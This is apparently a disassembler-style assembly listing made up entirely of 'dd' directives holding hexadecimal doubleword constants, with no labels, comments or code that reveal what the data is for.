		dd 962363E5h, 5F72B32Fh, 0BF20C910h, 0E6874800h, 0D7450D1Eh
		dd 4918153Ch, 0DCBD8396h, 2926F899h, 0F927FCB5h, 5C6D6941h
		dd 343E0A40h, 92B7484h,	8048616Bh, 0FB8BF200h, 2112D068h
		dd 0B7ACA07Dh, 2F240401h, 665FA1E2h, 6693F02Ch,	5F9501ECh
		dd 753E2D8Dh, 0DC984C6Dh, 0A0FCE01h, 2914F6F3h,	301AB53Ah
		dd 5497A93Dh, 22716B7Bh, 0C2BC0038h, 0DF979DFBh, 0CE5200EDh
		dd 0A59968E5h, 5D27E451h, 0E8000262h, 56B6200Fh, 0A800E2B7h
		dd 7BE0A9D7h, 122781B5h, 0A23EBBBCh, 8ECA1FEAh,	0E575A642h
		dd 54F97DCDh, 829510ADh, 0D2240092h, 0EE0366Dh,	0E81E273Dh
		dd 1447F9Ah, 21E2585Ah,	0D58D1273h, 2075AA12h, 0F78071E8h
		dd 72EA5231h, 0A6490800h, 0C4C2E751h, 938E3B40h, 0D7816A80h
		dd 1ACBE3BAh, 86615F2Ch, 0BEC5E916h, 23177BFFh,	0FA76051Dh
		dd 7521BE98h, 0F32FE474h, 0DA8A1734h, 3CFEE9C5h, 92B52833h
		dd 412C5EDAh, 60FF2193h, 0D200BEFEh, 3E8F0B6Fh,	0E0D63867h
		dd 0EEB00778h, 1B5B5FE6h, 0B0690D5h, 3065219Dh,	0BF0396DDh
		dd 0BF601220h, 24481798h, 0F8636567h, 5F2C25E9h, 852E3616h
		dd 0C0A8B63Ch, 808ABB05h, 0B5390996h, 2F9329A0h, 3CD1049h
		dd 1F6115E4h, 0BB043F0Bh, 0A2AC2AD5h, 0D2B5E1D3h, 540EBAFFh
		dd 4DEE400Ah, 209D132Eh, 2DD886ABh, 9F5D259Bh, 0CAA6A966h
		dd 7243AA00h, 2721AB47h, 5EA7009Ch, 0E32A333Bh,	0BB0066ECh
		dd 965B8456h, 0F050DA8Bh, 79527A98h, 0B760FA6Fh, 422BC619h
		dd 610531A5h, 23406EAAh, 37C0217h, 105F7B87h, 15174E2h
		dd 86E7D5C5h, 0E4DD975Bh, 0DC4B1194h, 2539CA14h, 0E9996C5Fh
		dd 443BC910h, 0BD67A902h, 5D90E018h, 0DDFA225Bh, 95895921h
		dd 45F5C2C5h, 0A7CDA5C5h, 6BC0E540h, 42330573h,	0BB491ECAh
		dd 3F619B21h, 12106020h, 0BEB1DE5Fh, 5860A049h,	4C7B97DFh
		dd 0EDBB8D8h, 3F9C1FC6h, 1388FB97h, 862A3C2Ch, 4F01AF8Fh
		dd 4B9B53E0h, 1F00EC90h, 95D0D9A2h, 170F8DDBh, 0EA61F2B7h
		dd 645E5D6Bh, 7390EEC4h, 9791EFAh, 8BC983FFh, 772F927Fh
		dd 0D4A6343h, 1FA62DC4h, 9576E3E2h, 0FE08BB0Bh,	0BB8896F2h
		dd 27E1CDCh, 1B94D664h,	70519754h, 0A1DB2900h, 709D4901h
		dd 91897ADh, 31EE0960h,	8B40A1B7h, 6B2E61FAh, 1C230Eh
		dd 0F24B6D79h, 0B902E26Eh, 0DF80CB43h, 5C7411Dh, 0FF4BBB10h
		dd 0FF75B225h, 6F856CB7h, 9F82982Dh, 9B53555Dh,	47CE7Ah
		dd 86BE5F30h, 800668BCh, 0E9B01B08h, 40769D0Fh,	16695CC2h
		dd 0FD005449h, 0C7382E90h, 1731C1FFh, 0B623199Dh, 3019F2E8h
		dd 0A709B1F3h, 2DAB35Dh, 752BF95Ch, 504FA7C4h, 5420C8h
		dd 3F4746D0h, 1782511Bh, 8F696D26h, 72DCAD3Eh, 56ED95CBh
		dd 0BB918BC1h, 0FD89FD3Fh, 8B07FA2Ah, 0E994BF66h, 0AD4B75AEh
		dd 2A3A833h, 0C2D7DB87h, 0BD5CDD8Ah, 84C32B51h,	2AF026E6h
		dd 760AF243h, 0A1D88B50h, 1610F0ADh, 0AF7EB2F4h, 0F48F542Ah
		dd 0C5275060h, 5B9D992Bh, 181B597Dh, 971C0E38h,	84249964h
		dd 4947C27Eh, 0C5B534F0h, 78D050B6h, 37616001h,	5753D9B6h
		dd 6F81EA38h, 0C03319A0h, 5F4B5BFFh, 6F2DC19Dh,	0FB26ADA8h
		dd 4B60F0F6h, 126A604h,	39180C72h, 0C0AA6988h, 9F02508Ch
		dd 0CCE34AF7h, 0BAC07F4Ch, 2125BD89h, 0CB337131h, 762D93F6h
		dd 7D95DE3Ch, 0EE7C320Bh, 7139BC09h, 0F86089EAh, 46406EFEh
		dd 3821E2h, 704EC4C0h, 0C661965Dh, 0B33BD9Fh, 0BF5550FAh
		dd 60181296h, 0AD6136EFh, 29259C02h, 0F530D59Dh, 5E0297CCh
		dd 5558F73Dh, 3BDD40EBh, 4A2BFEB9h, 0BF9BBAF3h,	10B21FC7h
		dd 62D159C7h, 148A0F16h, 5C01ABDh, 7C795DE5h, 9DEFBD05h
		dd 0B1BFB589h, 0B9A13F9Eh, 22F6E7Eh, 0DC68C263h, 33F1DF39h
		dd 9DCF8E90h, 500415E8h, 0D2B176B3h, 0E21CF63Ah, 0ACD2C0EDh
		dd 0CD4F047Fh, 0B96957B6h, 0F60BE857h, 37B50079h, 73ADCEAAh
		dd 0FD174FBFh, 12035826h, 0B4A3ACCCh, 812ADEFEh, 3C5073BAh
		dd 14498DD4h, 898F06F1h, 4C229910h, 9E3028E4h, 0C1DDD12h
		dd 9613F07Ah, 2D46A8B8h, 750EDA6Dh, 7892BBC0h, 5F1CBF10h
		dd 9052366Dh, 48000EE2h
		dd 9829FE73h, 9F0074DEh, 2CA1AC8Bh, 4B0337A4h, 1F342010h
		dd 7F60850h, 1C94F100h,	0D40BA653h, 57252D51h, 8F079BDDh
		dd 3190489h, 242BE852h,	9DE4990h, 0C1C76A5Eh, 12890C28h
		dd 8B5DBC31h, 2F32D7B7h, 55EB205Ch, 0A705B0B5h,	69CC14AEh
		dd 491A0083h, 38450480h, 2E024024h, 0AAA51868h,	517B5D14h
		dd 8870DF7Ah, 451A1497h, 0E5506028h, 26A4517h, 8EE9E212h
		dd 517F1D7Bh, 390936Dh,	50F2E83Ah, 4A482E18h, 2EEF8114h
		dd 0C1B29AA8h, 3A8CE9F5h, 0E789FEB3h, 37D75609h, 4B4F8CE7h
		dd 0B650D175h, 2C5B49D1h, 0F28057DEh, 0BB4078B0h, 24EF110Bh
		dd 98CDDF07h, 0B7601945h, 20378B9h, 52D9FEA3h, 50D58589h
		dd 8A57A8FBh, 78BF8805h, 70771C12h, 57E7BEBh, 64B98D33h
		dd 0A8BF8D02h, 538EE012h, 6F4E2547h, 0F2F03ECh,	801BC489h
		dd 5653144h, 0F047710h,	5B16098Fh, 0C22F157Bh, 89DBF7BBh
		dd 0B5B4E8FBh, 0DA0A1284h, 31FD0BB0h, 6A3090F5h, 0A75EB7FFh
		dd 78DC00DCh, 89A7D3CCh, 0A7C9C195h, 767B0929h,	12DD42F6h
		dd 0CD0055Bh, 0A392019Bh, 0B5018DFFh, 0DAAE753Dh, 233290D5h
		dd 1A8125BDh, 211187E5h, 2E07FA53h, 30CD0322h, 0B578AB60h
		dd 0EE04C4E8h, 0B04BEBB2h, 2D0B04AEh, 70E6070Ch, 0F6485789h
		dd 30971E4h, 552A4D9Dh,	13EDB599h, 4BE5F329h, 0B886842Dh
		dd 5FD103Eh, 11FF5B2Dh,	640887Ah, 9DE58529h, 81827D56h
		dd 6289A3E3h, 27855CC7h, 508217D1h, 501D8D01h, 0C45F4B99h
		dd 4F20AE91h, 995B527h,	0C82B836Eh, 4FBC4851h, 0D1C9DDACh
		dd 16B0BAAFh, 0FFC8AE9h, 55A0E0D2h, 38494734h, 5B8FA3EAh
		dd 0E7473920h, 546201A8h, 1E9EBB5Ch, 2E82C8F5h,	7E459A03h
		dd 70F34435h, 8BB0536h,	0EF7843AAh, 8A69E0E6h, 81F8CE5Ah
		dd 5550F39Ch, 0A3D407CDh, 0C4BB4559h, 79F84933h, 9D0B8EB2h
		dd 60716E2h, 81141D19h,	6B2719B6h, 0F93F478Ah, 49099522h
		dd 0FFC4B756h, 16134AECh, 88FE0B9Dh, 253D1202h,	3A380BEAh
		dd 54404h, 89C0D317h, 0CE1A36C7h, 3465DD05h, 15F06845h
		dd 0F96EC560h, 679CFE1Ch, 0F1D80281h, 6151CD8Dh, 5008C5F5h
		dd 4E03ECB1h, 89B513A8h, 0F53A0A2h, 0FE749D87h,	379AB0E0h
		dd 0A48000A9h, 5FA2513Bh, 0F4EC3B9h, 4EA020A7h,	30AFE78h
		dd 0CA1A65BDh, 99BAFC44h, 0CEFD2B66h, 0D8BF1A60h, 0CD95C02Bh
		dd 9DA0CF2Bh, 576C929Ah, 0F5B54F05h, 1EB8D22Bh,	7314F080h
		dd 75008E8Ah, 0C1B25C3Dh, 4FADF2Eh, 0A0C51A07h,	0DFDAAA9Fh
		dd 4A000922h, 7DB189C2h, 5D61F9D9h, 0C4BD15CEh,	524A40D8h
		dd 0C9CEEDE9h, 0D8AF4AF0h, 0D772F742h, 0BDD59997h, 0E27A18C5h
		dd 0D5AA974Eh, 0BFB6BF47h, 137E6A4h, 0B16D2F33h, 0D741F599h
		dd 0B22A0609h, 8C17FCB4h, 64566509h, 284C5D2Eh,	0B02D2520h
		dd 0DFFD2589h, 0DD2DC3B7h, 0B204A41Ah, 0BBC85219h, 52CC00C9h
		dd 2B24F137h, 0E000F81Eh, 3D61E6B0h, 132A3F10h,	0A2AB86B7h
		dd 17B58E35h, 0E7E8E1E9h, 0A3163305h, 0EEE8F823h, 227B262Dh
		dd 92455827h, 9E5BBDC6h, 1D3535Ah, 0A65AF135h, 33FD6B2Ch
		dd 73046858h, 0E23259FEh, 0AE2800E9h, 247A13F7h, 0B848053Ah
		dd 0E9E1FF83h, 77B8E4h,	0F713229Eh, 0D62C0B5Eh,	0A613F895h
		dd 506307B2h, 0B1E62BCCh, 6E302468h, 0C92987CCh, 91D125FCh
		dd 0A14091CFh, 8E1C4EDDh, 0F62D2D8Bh, 1013F6E4h, 70A0B6C6h
		dd 0EB07D2D0h, 0C43A908Ah, 3FC67A5Ah, 28B780F2h, 0B509F98Ah
		dd 0A8334E01h, 0A55D8878h, 1211AFE3h, 0BF091255h, 99D06D29h
		dd 0D1D78102h, 746E8DE4h, 655AAC7Eh, 0AA0AC495h, 0A9E55AB6h
		dd 0A3BB92D2h, 46FC2733h, 0C88B5E8Eh, 0C09D804Bh, 0B761B7DAh
		dd 9FF4AA74h, 0EC89F27Ch, 202056A2h, 9503E2FBh,	806C3DF7h
		dd 7D9D9930h, 0C730076Dh, 68D95CD4h, 0B3F717FEh, 4E8CBF01h
		dd 3E247A34h, 0BF82ACF4h, 556D3B23h, 0F564695Ch, 0A04D8AEBh
		dd 0A97BE7Eh, 0C51B13C6h, 0DD9915A8h, 0AE36E916h, 0A4DBD320h
		dd 911B9D47h, 73DABE25h, 6EE225ABh, 7881DBFDh, 1029261h
		dd 0E50CF554h, 9F663Eh,	7BEB821Dh, 0C0CD8996h, 8E71C301h
		dd 2E9ECBB2h, 2CE61BC8h, 976182Ah, 45F50139h, 9FCD2720h
		dd 0FFE6D640h, 88989789h, 1400CC0Bh, 19E20E3Fh,	9D1F4Dh
		dd 56116E93h, 0D1F01068h, 947CBB49h, 10E84B8Eh,	8D6EF7A0h
		dd 23A4604h, 42AE5A64h,	2CE1BDB2h, 0B022BF20h, 50242733h
		dd 463F29C4h, 6E7BF778h, 0B568A11Fh, 6B7BCEC4h,	0DFAE1682h
		dd 0BCE0D64Dh, 3AA7CC8Ch, 9889488Eh, 0E60250EBh, 0D5091BF9h
		dd 850FE730h, 53B97CB5h, 0FB21C234h, 0CF5A4Fh, 0C3386A99h
		dd 0F7A45AA9h, 0D6F24A95h, 0E8B4B384h, 8A8D4B2Bh, 31859947h
		dd 5A268CEBh, 0BCB8585Eh, 287E17D6h, 7E000247h,	1B55C854h
		dd 970DC037h, 7D25C945h, 0F7042EEFh, 67B0EEE1h,	6E585B5Bh
		dd 6618000Ch, 0EA3CA96Bh, 0ABEC10BCh, 314A7914h, 5E00EFE6h
		dd 9E573523h, 1A25E002h, 9FEED7C8h, 5CD22625h, 29EFCE48h
		dd 7231EE73h, 0EC2F87B4h, 0F38BA0A5h, 67D1BF61h, 0EB9A6C83h
		dd 90B0F833h, 0F37E07DBh, 795FF2AAh, 91C0D94Dh,	1033BFFEh
		dd 5B23659Dh, 7431B4C2h, 0E3B3E1D1h, 70572861h,	9771CE9Fh
		dd 0E9BBBC9Eh, 2C59C50h, 8161C232h, 0F75EE85Bh,	65631351h
		dd 2CD910h, 0B052CB81h,	0A4E90FADh, 13B32DE9h, 2FDD7479h
		dd 0E40916Dh, 2BCF584h,	9D2985E1h, 0C7D52E95h, 143B11BBh
		dd 0B3A9F98Bh, 0B11F5E2Ch, 7BDF31F1h, 898427EDh, 128BAB03h
		dd 80A99A4Bh, 0C48F71D2h, 0C18C02BFh, 0EAB3E540h, 1B43CDDEh
		dd 2158C89Bh, 0BB273896h, 0C5CBEF80h, 9589F0F7h, 9723DD22h
		dd 7DB71A98h, 0C5252978h, 6B5B791Eh, 47C64DDFh,	23E3D2C5h
		dd 326A7C41h, 5851177h,	0C8E6BF0Eh, 9FF85C6Bh, 0FC3BFA41h
		dd 251948F3h, 44305917h, 7CB44012h, 0F63BA3AEh,	6BF42E21h
		dd 0E0DC008Eh, 9B438974h, 79541B69h, 0BB6682A1h, 5B7D4E6Ch
		dd 5FA8F857h, 0BFB9265Ah, 209B1BACh, 84649405h,	2FC0A5ABh
		dd 70AB7D12h, 0F37F800Fh, 6145503h, 9A0D4774h, 96FA64C4h
		dd 0BD752F65h, 3ADF037Bh, 31DA51F1h, 4E55EDC2h,	2E4DB5C2h
		dd 0F1D0EC47h, 0BD3A747Bh, 3D5745C2h, 997B8163h, 3FF98E46h
		dd 0BECDC394h, 8A2CAA2Bh, 0FD1E0916h, 63D15762h, 87D78180h
		dd 9D3BF61Ah, 0FD7C5E0Bh, 93405F6h, 2508C5BDh, 665560BDh
		dd 0E65AD2BFh, 112FD9E7h, 0A8572BC2h, 0B5DE89DFh, 1113F3E6h
		dd 3D8875EEh, 1187185h,	7D1CBE35h, 2FDB6C56h, 1B23426Bh
		dd 0E3136E00h, 25F4C767h, 0CBEEE4A1h, 0B3E86287h, 7E6A2F00h
		dd 4897A40Ch, 0BEC3EF5Ch, 0C6CA1114h, 932E77Dh,	0E4794237h
		dd 7BBE5244h, 0C92203FDh, 0E033D549h, 989938C0h, 0A00B1C60h
		dd 227EED1Dh, 30BFFB93h, 36B3F95Eh, 9C9D1E00h, 82F52A35h
		dd 0DCCC0453h, 0FA4B967Dh, 52EC4C35h, 0EC755FC9h, 0EBF6B5A8h
		dd 2FE8F969h, 0A63CA0FFh, 7CD448h, 8267384Eh, 0E6EFE05Dh
		dd 0D74BB0B6h, 0C9557C32h, 2A2F5FDDh, 806D80EAh, 2CC78BB8h
		dd 13241C98h, 0EAAA5231h, 0F692BDDAh, 4D3F0047h, 96DF3A75h
		dd 0CACB4B85h, 5E6C25C4h, 0C800F685h, 0AFB719DCh, 14BE4DFEh
		dd 0BA501664h, 305FDB13h, 39A79D25h, 950B6D07h,	0A23051E4h
		dd 98C64727h, 0F6EB5AE4h, 301BB236h, 20025E8Ah,	790EE4ACh
		dd 0BCF9248Fh, 0CF81B5D3h, 0E9010B69h, 0DEB12AC0h, 8BC4817Ch
		dd 356EAFC1h, 302B3602h
		dd 91C29BA9h, 0C001CA70h, 0A51683BEh, 0C82B6126h, 0D50051BFh
		dd 421BFA4Bh, 0B09EDEA2h, 30D29F9Fh, 0C0815806h, 5A9366E1h
		dd 0B2CFD95h, 90199668h, 2F9FF68Bh, 174C5B9Eh, 0A9323866h
		dd 0F78104E7h, 0A892F6B0h, 1021182Bh, 17FC719h,	297C1F36h
		dd 82D918Dh, 0E6F51FA3h, 0A1D52D67h, 8FF95733h,	522DC2Ch
		dd 15DE84C6h, 3EE80508h, 66F713Bh, 4F2601F5h, 193AC031h
		dd 5C98589h, 0D7E21D05h, 47DC4A6h, 31575CBh, 0C86B2228h
		dd 176A37Eh, 7B256E1Ch,	0C91E109Fh, 93F6D4B1h, 48D12200h
		dd 8CD3A99Ch, 542803B5h, 0A31BCCD5h, 6E084074h,	324111C1h
		dd 0C807610h, 0B3DEB7DDh, 6DF87BF0h, 54E9CC07h,	0A123D89Bh
		dd 5D311E40h, 5158407Ch, 9E56E955h, 1868EF31h, 999D96A1h
		dd 305E1AB4h, 39073F63h, 0A1116AD9h, 22921550h,	0A4E51F51h
		dd 0D2DE2Bh, 0B44BC3A5h, 0A8005423h, 9FD76CD8h,	775535E5h
		dd 0B113612Fh, 0D9169EA6h, 912088ECh, 7D3F3Eh, 0FD1DAA56h
		dd 7F6D2DB4h, 0D9C0DD7Ch, 52E0EE25h, 0A19F604Ah, 0E9AA7D8h
		dd 379D9B06h, 0F1296872h, 0BFDA2086h, 0D5F2ACDCh, 0E150A06Ch
		dd 0E3CF8B8Ch, 0C813069Bh, 0C0ECA95h, 0D16B61C8h, 1881107Bh
		dd 986AAFDBh, 0EC3B6058h, 8CFF87Ah, 383186D7h, 0EF160EB8h
		dd 4ACB97DBh, 1CF14F01h, 836FD983h, 11798B91h, 0B28890C7h
		dd 60E8342Eh, 0AC640708h, 177BE071h, 1960ABD9h,	0A997D778h
		dd 51556437h, 1175609Fh, 8C68E4DBh, 7EA88244h, 64E3006Dh
		dd 0EDA967B0h, 2C7B4355h, 54D92A3Ah, 0EC4C28A8h, 0DF8C419Ah
		dd 33D167E0h, 0E3C570C3h, 22C0A7D3h, 0C0CE1554h, 6C68CB58h
		dd 41C02176h, 87DFC005h, 40D406ABh, 8ACA252h, 0E2211F60h
		dd 7EBCDFD9h, 4050DBB4h, 91245055h, 0C4807051h,	0F4AB8BDFh
		dd 0EE11448Ch, 5DFDD12h, 9200681Dh, 799DF2EBh, 1BE20482h
		dd 90B60323h, 6FB53D3Ch, 0C31AF0C1h, 78836943h,	0B862ACFh
		dd 52FC4000h, 6D1CF668h, 4D692A9Fh, 79DC03E4h, 0E599803Eh
		dd 1705C5D8h, 2D462400h, 8E954D28h, 618300B7h, 0DE5DF5ACh
		dd 947463AFh, 0B1D95604h, 3B80917Eh, 0E0042EECh, 258A0044h
		dd 0A1E93536h, 90009BDEh, 0BEE27207h, 0FA956Eh,	0C123D5FDh
		dd 0E791EE7Ah, 0A0B93Fh, 733BE221h, 3A1EAF9Fh, 0EC03196Bh
		dd 8CA8959Bh, 81AF83ABh, 0F46A973Dh, 891F5CD5h,	0FE0EF5E0h
		dd 9022C074h, 5FB738h, 41D5AEEDh, 0CF82F499h, 7868500h
		dd 0B598F9B3h, 698800D2h, 426CAE80h, 4D002A54h,	0CCA260E4h
		dd 797C27Dh, 3DAB77D8h,	0F96CC139h, 896AD051h, 417DD701h
		dd 0A81F0792h, 8B2800D3h, 22969BCDh, 7B19B4E9h,	9F08D12Ah
		dd 0C5542187h, 44AAC09Bh, 0F003DE2Fh, 0C2A11EA9h, 89690F9Fh
		dd 0B7C0A570h, 8FE82350h, 0EC3F3E00h, 96FC9738h, 4F78C694h
		dd 0D41D30FEh, 0FC3DF117h, 0F29241C7h, 0DB7A59C1h, 91B81181h
		dd 0FF51C8E8h, 0BBF396EBh, 21C10830h, 0E8A91Ah,	8F37C80Ah
		dd 0FEE2CC27h, 7ED33B00h, 20246D95h, 6D6EA79h, 70C0AB81h
		dd 0D800387Ah, 2515057h, 3CB647E0h, 8E6F8D4h, 0B900216Bh
		dd 0F74F5159h, 145FA0E0h, 9C93CAECh, 0CCC50688h, 0E122EE05h
		dd 22919C62h, 9C00C455h, 683B158h, 0E4CF6447h, 0C32A2190h
		dd 4008081h, 54808396h,	0EA36EFh, 5B0EB523h, 0C0F4A302h
		dd 0F593E03h, 0C034CE5h, 78446DD0h, 0EB75E2E1h,	0EEDA6400h
		dd 9C9B6768h, 0D27A000Bh, 6AD1C061h, 57EA7C14h,	1F255500h
		dd 0F728A3AFh, 0A2EF00A5h, 7FCC6798h, 0C20022CFh, 0D0FF3A2Dh
		dd 0B6650F3h, 6FA0BEE1h, 0F034D000h, 0D700D69Eh, 683CFCCCh
		dd 0C5EA0Fh, 0C498F58Ah, 15E18782h, 4100E877h, 0B4A7387Eh
		dd 51AFF8h, 17C0BDDAh, 202BBF6Bh, 6C492500h, 7AF71E0Fh
		dd 0E8D67845h, 0ACFC3EBCh, 78B0073h, 0D9E69323h, 38EAA1BDh
		dd 0D3416300h, 0D03AEBACh, 17433875h, 0A0943B80h, 0B83F99F4h
		dd 30981C3Ah, 2F7E212Ch, 5997003Bh, 32B464F3h, 11000CC7h
		dd 43677858h, 3D1AD037h, 0E980131Ch, 7CDA5ECCh,	0A80E907Eh
		dd 0A0A2853Fh, 3D7808FAh, 0BA370093h, 3E327A35h, 6E0075DEh
		dd 8E365320h, 67FDF21h,	0A5E84B43h, 0D183890h, 0CA883B40h
		dd 802500BCh, 16453D3Ch, 0D9018AF1h, 2BEAF47Fh,	2DD4C0ACh
		dd 0D020C062h, 23674CC9h, 84200C53h, 446187E2h,	0D090B0BFh
		dd 67A6E659h, 81699003h, 80405C22h, 512375E8h, 6CAD392h
		dd 0C279BC6Bh, 4E60087Bh, 93698121h, 302500E5h,	94C8355Bh
		dd 78C07D39h, 261BE1FEh, 0AB54024Fh, 0ECF9C73Bh, 2068C4ACh
		dd 926F048Ch, 627BCAADh, 6783205Ah, 0D870D293h,	6A3B54ECh
		dd 2EFE8C57h, 18CAB806h, 7897018Ch, 0B60EF8F1h,	0E87CB964h
		dd 212C1D37h, 52872311h, 53CAD192h, 88570CBFh, 93036A80h
		dd 0E7F80E9Ch, 8C880B5h, 8C4A0C63h, 5A706561h, 0A1EA4D0Ah
		dd 0A38A8D3h, 0F81D066Dh, 1E01371Eh, 0A2447BD0h, 10B9B848h
		dd 13A36h, 0C5D8BCC6h, 3DFA3D49h, 49E19375h, 0C0ADB037h
		dd 0B90C586Fh, 9513B1Fh, 1021C7EEh, 20C00FA4h, 29944A49h
		dd 7C7891C4h, 1A705497h, 6388223Ah, 4B5C08DBh, 8B4CD900h
		dd 0D5E5CD96h, 99F80282h, 13771650h, 18A89841h,	983B0E2Bh
		dd 0C87014A0h, 237A802Fh, 6E3CD93Bh, 26A01806h,	17817D51h
		dd 7F1FAD5h, 5001ABCAh,	5C2603FEh, 83212F69h, 8E7868D6h
		dd 9A950011h, 87FD29FAh, 7FECDC1Bh, 219608CCh, 927ABAh
		dd 9EAD56C9h, 0A4259718h, 0EA755E7Ch, 117F91C0h, 0ADABD3h
		dd 311A5158h, 5BE79F01h, 5E05701h, 5DACC8B8h, 31648BD0h
		dd 26390BBEh, 81AC5758h, 0CC4FC2DFh, 0B0CE417Bh, 6788905Fh
		dd 28FA9BC0h, 227F46FDh, 0F4B57593h, 593B00EDh,	0AFCC109h
		dd 8D02505Dh, 0FEC657D7h, 2AC8A392h, 809EDABCh,	41CD50E0h
		dd 0FEC71ADFh, 0CC9D2182h, 9805A11h, 0EE73E027h, 66B7E70Ch
		dd 1908F818h, 6082437Eh, 9FC81352h, 203FE182h, 33F8F65Dh
		dd 0D55FEA14h, 0F53E8Ch, 507D427Ah, 76A4B027h, 2173005Dh
		dd 36FAE3DEh, 0BD240BA0h, 0BE09B126h, 0F4BC02F7h, 0BC420038h
		dd 0E0C0913Dh, 745D8D51h, 0F88C90D2h, 30FE88C8h, 5101CAE4h
		dd 0B45D3DCDh, 0C04279D4h, 18971A9Fh, 18296F2Ch, 0B2532980h
		dd 50FFC776h, 7EEF7841h, 933B12FEh, 4D0404F0h, 6DA201D3h
		dd 0E0205396h, 397B19F5h, 155D2078h, 0C0AE9008h, 0A0963B15h
		dd 9199E421h, 2D7C0013h, 7FCFA83Bh, 1167448h, 0A28D07A9h
		dd 0AA3C3635h, 0D1243868h, 5D089075h, 0D6E08785h, 6481E93Ch
		dd 0A47A33C0h, 8E111418h, 5402D68Eh, 0EF31C158h, 0C0A91D11h
		dd 200260B7h, 645A0FFh,	50641Eh, 0C3F7D138h, 0BEE6D6F9h
		dd 62323F70h, 30ABE83Dh, 99133B2Ah, 4382CA0h, 3B220079h
		dd 7C5797FEh, 48006E2Ah, 0C1EFB14Ch, 4CE7F4D0h,	81800C79h
		dd 0BFDBDF85h, 3B426CE4h, 0FA005D22h, 0BC872212h, 0F9C8B754h
		dd 40061420h, 7CF65174h, 0DB02401Fh, 0D4A18E0Ah, 67033C01h
		dd 91B872BEh, 5BD25D0Ah, 23804EE4h, 0D137BF67h,	2AF4684h
		dd 0A0953B16h, 1470910Ch, 3B2E7D10h, 79CA9000h,	9D8DF8C6h
		dd 3CAF0209h, 3EE2365Bh, 0B083E862h, 9BDE4C8h, 7499F5E4h
		dd 8991869h, 8FFD2AFAh,	34269C2h, 22D091BBh, 3D247BF4h
		dd 511040F8h, 18C2BFCh,	245BCF78h, 7591A4C8h, 7B80400Ch
		dd 9E507722h, 7540B9B0h, 13DE762Fh, 1AD0E27Fh, 0C677900h
		dd 79602D44h, 832918BEh
		dd 2CD1B803h, 465C5818h, 63CB3BC4h, 0F0365D19h,	3AFE6877h
		dd 2B135537h, 39A004D5h, 88790581h, 125DB44Fh, 523BF840h
		dd 0F3A34060h, 35994DE8h, 8F1D18Fh, 0D4C78CA8h,	0F1585601h
		dd 0D38BED18h, 0F0BD83AFh, 6909F4h, 6EB8DF60h, 5D63A5CAh
		dd 783B4973h, 6AFC5058h, 0FA98058Ch, 8E97FD2Bh,	90B81E18h
		dd 0A4E5BC80h, 4020A08h, 9A5D3870h, 0E064874Ch,	0DDD594F0h
		dd 35A41E03h, 0E0233334h, 7FC6E6h, 8F3D61CEh, 4E5DAEB3h
		dd 0C22090B8h, 0E628033Eh, 8414291h, 0BA0B25C0h, 8A799F07h
		dd 0AEE1814Ch, 4083CC65h, 2DDE45A4h, 4805800h, 0F07E79BAh
		dd 0E328049Bh, 0C0D6A8B6h, 64902248h, 9C57BF2Ah, 2A366DF0h
		dd 450A829h, 3D7F058Bh,	48BCC76Ah, 443A84ACh, 680C582Bh
		dd 5810EB89h, 0C539122Fh, 0B70079D4h, 0FB93F204h, 866F22h
		dd 3A6C82B3h, 485D3759h, 56CABF05h, 908E5F76h, 82C04F88h
		dd 1FE1DB0h, 0C37709E0h, 40122AE6h, 59F7C898h, 26A60E18h
		dd 25F4C010h, 0B8008AD1h, 35BA4ACEh, 0F049AE30h, 31106F75h
		dd 4838AB20h, 0E2A46478h, 0B1B4BE14h, 55A40098h, 0DE20AFD2h
		dd 52100174h, 6CB6FB2Bh, 372081DAh, 6A926F0Ch, 7311204Fh
		dd 43C282B3h, 27304C6Ch, 1AF8FA96h, 0BE0F30A7h,	6881408Eh
		dd 2CACCCC6h, 8082580h,	58281D5Eh, 8716D46h, 6FFD16FAh
		dd 0F42E8CEh, 0FB418DBFh, 3020620Ch, 0E08130B8h, 12B2F823h
		dd 8A8AC032h, 7BDB07D4h, 36353CCh, 0A13C426Dh, 0F05800DAh
		dd 76E5A40h, 44E6A6h, 4A87A01Fh, 4B64CA23h, 17A0D358h
		dd 0E821C104h, 98D36A9Eh, 0A01386FEh, 5F90E8h, 0BA0CDEA7h
		dd 29E60E77h, 7688C894h, 25123EF1h, 78C70ACAh, 365303FCh
		dd 282609BAh, 9211F043h, 0F1129C4Ch, 67A000CFh,	0EA7FE45h
		dd 937FC401h, 40C66D36h, 8C42C08Bh, 903CE891h, 496B728h
		dd 802C01A8h, 0ACF4A5BCh, 3682D4Dh, 0BB4435DBh,	1CD143C9h
		dd 264A1E58h, 9200C008h, 203D478Ch, 0A0F3BEE1h,	24EE774Ch
		dd 8C6815B2h, 0F3B8C4FBh, 4061C485h, 0AA64A28Eh, 2E69008Ch
		dd 0C33F76E3h, 3954EA35h, 8C9877E4h, 0C7373403h, 0C836EEFEh
		dd 6E03074h, 0C04BF65Bh, 0C307B1BAh, 502EC92Bh,	80A23370h
		dd 0C9374A7h, 21B8A892h, 0CC99C051h, 85588F01h,	243076BAh
		dd 748C00BEh, 7B2B36F4h, 1E0C6F0Bh, 78F748BCh, 0F8C88805h
		dd 94D21602h, 413B9850h, 0A9F945ACh, 0A4C6E982h, 98808D97h
		dd 1D308E48h, 17C684Ch,	327B79F8h, 0BF70A03Eh, 0A2DC2CFEh
		dd 79821894h, 14280E45h, 7644240Fh, 0C02438BBh,	0BE0DD87h
		dd 3EC11CDFh, 69940900h, 26311E28h, 9574164Fh, 0CC4006Ah
		dd 0C2D4B920h, 0AD40FD7Fh, 0CEE30921h, 80EB10h,	0CC0D4B56h
		dd 0FABEEC00h, 2E519BF3h, 5E26111Dh, 0B6E00E7Fh, 36307838h
		dd 9A4E02CEh, 41BA35A0h, 4BF220C8h, 0A26822C7h,	3C0207DFh
		dd 0DF2BD171h, 0CD005039h, 0F509A536h, 9474C811h, 3C446A48h
		dd 0F7EA8017h, 0C092D278h, 8A31C0D8h, 176C5FA8h, 0DC4EA102h
		dd 483E5D21h, 7BDB218h,	0A606FDF5h, 0C093C9DEh,	9576087h
		dd 4E019BC6h, 3EE3F62Dh, 0E0DF3BB7h, 3950B6Ch, 0ACC80752h
		dd 81017CCDh, 5938E5FBh, 40FA76FEh, 18658564h, 59455C06h
		dd 533F02CCh, 442800AEh, 0D56604E8h, 98BB750Bh,	521506F4h
		dd 31425D50h, 14FFE881h, 0A44074C4h, 9B8CDE06h,	0C1640140h
		dd 4C0C6A0Dh, 68468001h, 0E263FC95h, 89F0C91h, 540899C7h
		dd 9C8721C0h, 3D883FCh,	524AFDA5h, 0E480F470h, 9E03A6C8h
